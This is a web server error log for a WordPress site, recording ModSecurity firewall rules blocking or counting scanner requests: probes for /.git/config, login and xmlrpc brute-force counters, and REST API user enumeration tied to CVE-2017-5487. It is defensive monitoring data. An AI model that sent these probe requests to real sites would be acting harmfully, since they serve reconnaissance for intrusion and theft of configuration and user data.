[Tue May 12 01:19:05.408934 2026] [:error] [pid 4685:tid 4703] [client 43.156.232.190:43698] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agIPiXwrjbU4NZilCZ896QAAAQ8"]
[Tue May 12 04:46:32.848406 2026] [:error] [pid 55559:tid 55620] [client 34.17.106.26:49882] [client 34.17.106.26] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agJAKNj0hVMLJAOI_fw29QAAAQI"]
[Tue May 12 05:17:07.238004 2026] [:error] [pid 40061:tid 40075] [client 43.134.33.236:33100] [client 43.134.33.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agJHU7ycIKt8hxHMBYt-IAAAAMw"]
[Tue May 12 05:42:46.392082 2026] [:error] [pid 39958:tid 40026] [client 43.155.129.131:50138] [client 43.155.129.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agJNVuVI9FVDxXB2Xxgn6gAAAIc"]
[Tue May 12 06:47:55.473417 2026] [:error] [pid 39958:tid 40041] [client 107.189.4.58:63307] [client 107.189.4.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.4.58, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agJcm-VI9FVDxXB2Xxgu5wAAAJY"]
[Tue May 12 06:51:04.964767 2026] [:error] [pid 39958:tid 40023] [client 107.189.4.58:60186] [client 107.189.4.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.4.58, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agJdWOVI9FVDxXB2XxgvHQAAAIQ"]
[Tue May 12 09:01:42.818220 2026] [:error] [pid 39957:tid 40005] [client 43.157.158.178:46176] [client 43.157.158.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agJ79uAfHHyq0DBh5BIMCwAAAE0"]
[Tue May 12 10:59:32.286167 2026] [:error] [pid 42143:tid 42159] [client 34.174.157.190:46606] [client 34.174.157.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agKXlES2WmK92iCO2L2ZcwAAAUw"]
[Tue May 12 12:30:24.962191 2026] [:error] [pid 39957:tid 40006] [client 129.226.94.18:43160] [client 129.226.94.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agKs4OAfHHyq0DBh5BIy7wAAAE4"]
[Tue May 12 13:05:59.887147 2026] [:error] [pid 55559:tid 55642] [client 112.203.171.91:41478] [client 112.203.171.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.203.171.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agK1N9j0hVMLJAOI_fyLvwAAARU"]
[Tue May 12 13:08:59.376678 2026] [:error] [pid 55559:tid 55643] [client 112.203.171.91:39013] [client 112.203.171.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agK169j0hVMLJAOI_fyMIAAAARY"]
[Tue May 12 13:09:39.975345 2026] [:error] [pid 39958:tid 40043] [client 112.203.171.91:40464] [client 112.203.171.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.203.171.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agK2E-VI9FVDxXB2XxhbKQAAAJg"]
[Tue May 12 14:35:52.602758 2026] [:error] [pid 21242:tid 21270] [client 103.106.20.169:59178] [client 103.106.20.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.106.20.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agLKSMzeh8JWZob6PnKhcwAAAZg"]
[Tue May 12 14:36:03.241906 2026] [:error] [pid 40061:tid 40065] [client 103.106.20.169:51661] [client 103.106.20.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.106.20.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agLKU7ycIKt8hxHMBYvY0AAAAMI"]
[Tue May 12 14:36:13.910730 2026] [:error] [pid 21242:tid 21260] [client 103.106.20.169:52322] [client 103.106.20.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.106.20.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agLKXczeh8JWZob6PnKhvgAAAY4"]
[Tue May 12 14:36:24.579496 2026] [:error] [pid 55559:tid 55638] [client 103.106.20.169:59710] [client 103.106.20.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.106.20.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agLKaNj0hVMLJAOI_fyW2gAAARI"]
[Tue May 12 14:36:35.305792 2026] [:error] [pid 21242:tid 21250] [client 103.106.20.169:60931] [client 103.106.20.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.106.20.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agLKc8zeh8JWZob6PnKh3gAAAYQ"]
[Tue May 12 16:17:33.157680 2026] [:error] [pid 55559:tid 55621] [client 43.152.72.244:45348] [client 43.152.72.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agLiHdj0hVMLJAOI_fyfYgAAAQM"]
[Tue May 12 16:46:25.095076 2026] [:error] [pid 21242:tid 21254] [client 129.226.94.18:40118] [client 129.226.94.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agLo4czeh8JWZob6PnLDaAAAAYg"]
[Tue May 12 20:13:47.010128 2026] [autoindex:error] [pid 39957:tid 40008] [client 80.241.214.49:56212] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue May 12 20:23:03.434218 2026] [:error] [pid 21242:tid 21252] [client 43.135.139.165:36912] [client 43.135.139.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agMbp8zeh8JWZob6PnL_cgAAAYY"]
[Tue May 12 22:43:17.606567 2026] [:error] [pid 39958:tid 40037] [client 201.94.145.193:62154] [client 201.94.145.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.94.145.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agM8heVI9FVDxXB2XxiKqAAAAJI"]
[Tue May 12 22:43:27.113671 2026] [:error] [pid 55559:tid 55642] [client 201.94.145.193:62438] [client 201.94.145.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.94.145.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agM8j9j0hVMLJAOI_fzEJgAAARU"]
[Tue May 12 22:43:37.852113 2026] [:error] [pid 55559:tid 55622] [client 201.94.145.193:60762] [client 201.94.145.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.94.145.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agM8mdj0hVMLJAOI_fzELQAAAQQ"]
[Tue May 12 22:43:48.477962 2026] [:error] [pid 39957:tid 40005] [client 201.94.145.193:61000] [client 201.94.145.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.94.145.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agM8pOAfHHyq0DBh5BKUnQAAAE0"]
[Tue May 12 22:43:59.049666 2026] [:error] [pid 39956:tid 39987] [client 201.94.145.193:61260] [client 201.94.145.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.94.145.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agM8r42K3wZDsNji3MwW4wAAABY"]
[Tue May 12 22:44:41.354793 2026] [autoindex:error] [pid 39957:tid 40006] [client 185.217.125.16:62997] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue May 12 23:37:03.994367 2026] [:error] [pid 42143:tid 42156] [client 43.155.27.244:56602] [client 43.155.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agNJH0S2WmK92iCO2L0_RAAAAUk"]
[Wed May 13 00:00:04.637195 2026] [:error] [pid 21242:tid 21254] [client 43.157.180.116:60124] [client 43.157.180.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agNOhMzeh8JWZob6PnIwpQAAAYg"]
[Wed May 13 00:37:36.276313 2026] [:error] [pid 21242:tid 21257] [client 1.15.52.154:52648] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agNXUMzeh8JWZob6PnI32AAAAYs"]
[Wed May 13 04:16:37.769715 2026] [:error] [pid 23787:tid 23869] [client 49.51.253.83:59384] [client 49.51.253.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agOKpR1cs5wE7VT6wiqJdgAAAJU"]
[Wed May 13 04:27:46.864130 2026] [:error] [pid 23782:tid 23821] [client 78.88.230.100:55686] [client 78.88.230.100] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agONQiBrKFYHXUGnR-pmfwAAAEA"]
[Wed May 13 05:20:48.611834 2026] [:error] [pid 23780:tid 23817] [client 178.18.246.56:56138] [client 178.18.246.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.246.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agOZsHXgOibPjrXgeTA7WgAAABc"]
[Wed May 13 05:20:48.912374 2026] [:error] [pid 23780:tid 23794] [client 103.119.239.112:44386] [client 103.119.239.112] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agOZsHXgOibPjrXgeTA7WwAAAAA"]
[Wed May 13 05:21:00.127133 2026] [:error] [pid 23887:tid 23908] [client 136.243.78.227:15738] [client 136.243.78.227] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agOZvNSKmvZJZkXBFDDl4gAAAM0"]
[Wed May 13 05:21:14.438300 2026] [:error] [pid 23787:tid 23857] [client 51.38.81.255:33098] [client 51.38.81.255] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agOZyh1cs5wE7VT6wiqVSgAAAIk"]
[Wed May 13 05:21:36.182846 2026] [:error] [pid 23782:tid 23831] [client 27.50.77.95:37144] [client 27.50.77.95] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agOZ4CBrKFYHXUGnR-puggAAAEo"]
[Wed May 13 06:17:11.979812 2026] [:error] [pid 3259:tid 3270] [client 188.27.128.208:59121] [client 188.27.128.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.27.128.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agOm5-WJB4YwcPVLeAqC0wAAAQk"]
[Wed May 13 06:17:24.503353 2026] [:error] [pid 3259:tid 3263] [client 188.27.128.208:59514] [client 188.27.128.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.27.128.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agOm9OWJB4YwcPVLeAqDJAAAAQI"]
[Wed May 13 06:17:34.490530 2026] [:error] [pid 23787:tid 23855] [client 188.27.128.208:59925] [client 188.27.128.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.27.128.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agOm_h1cs5wE7VT6wiqd2QAAAIc"]
[Wed May 13 06:17:45.524396 2026] [:error] [pid 3259:tid 3272] [client 188.27.128.208:60310] [client 188.27.128.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.27.128.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agOnCeWJB4YwcPVLeAqDNAAAAQs"]
[Wed May 13 06:17:56.308936 2026] [:error] [pid 23887:tid 23919] [client 188.27.128.208:60673] [client 188.27.128.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.27.128.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agOnFNSKmvZJZkXBFDDxCAAAANg"]
[Wed May 13 06:27:44.571221 2026] [:error] [pid 23782:tid 23829] [client 142.132.226.7:47344] [client 142.132.226.7] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agOpYCBrKFYHXUGnR-p3ZQAAAEg"]
[Wed May 13 08:04:14.315579 2026] [:error] [pid 23887:tid 23909] [client 51.77.43.72:44112] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "agO__tSKmvZJZkXBFDAPYgAAAM4"]
[Wed May 13 08:04:18.071984 2026] [:error] [pid 23787:tid 23850] [client 51.77.43.72:56700] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "agPAAh1cs5wE7VT6wiqviwAAAII"]
[Wed May 13 08:16:02.723979 2026] [:error] [pid 23887:tid 23912] [client 5.224.30.227:57613] [client 5.224.30.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.224.30.227, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agPCwtSKmvZJZkXBFDATPAAAANE"]
[Wed May 13 08:16:25.317176 2026] [:error] [pid 23782:tid 23838] [client 139.218.216.97:49186] [client 139.218.216.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.218.216.97, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agPC2SBrKFYHXUGnR-qGdAAAAFE"]
[Wed May 13 08:16:42.350892 2026] [:error] [pid 23887:tid 23910] [client 43.153.27.244:46234] [client 43.153.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agPC6tSKmvZJZkXBFDATVgAAAM8"]
[Wed May 13 08:17:03.215190 2026] [:error] [pid 23887:tid 23913] [client 5.224.30.227:58705] [client 5.224.30.227] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agPC_9SKmvZJZkXBFDATiwAAANI"]
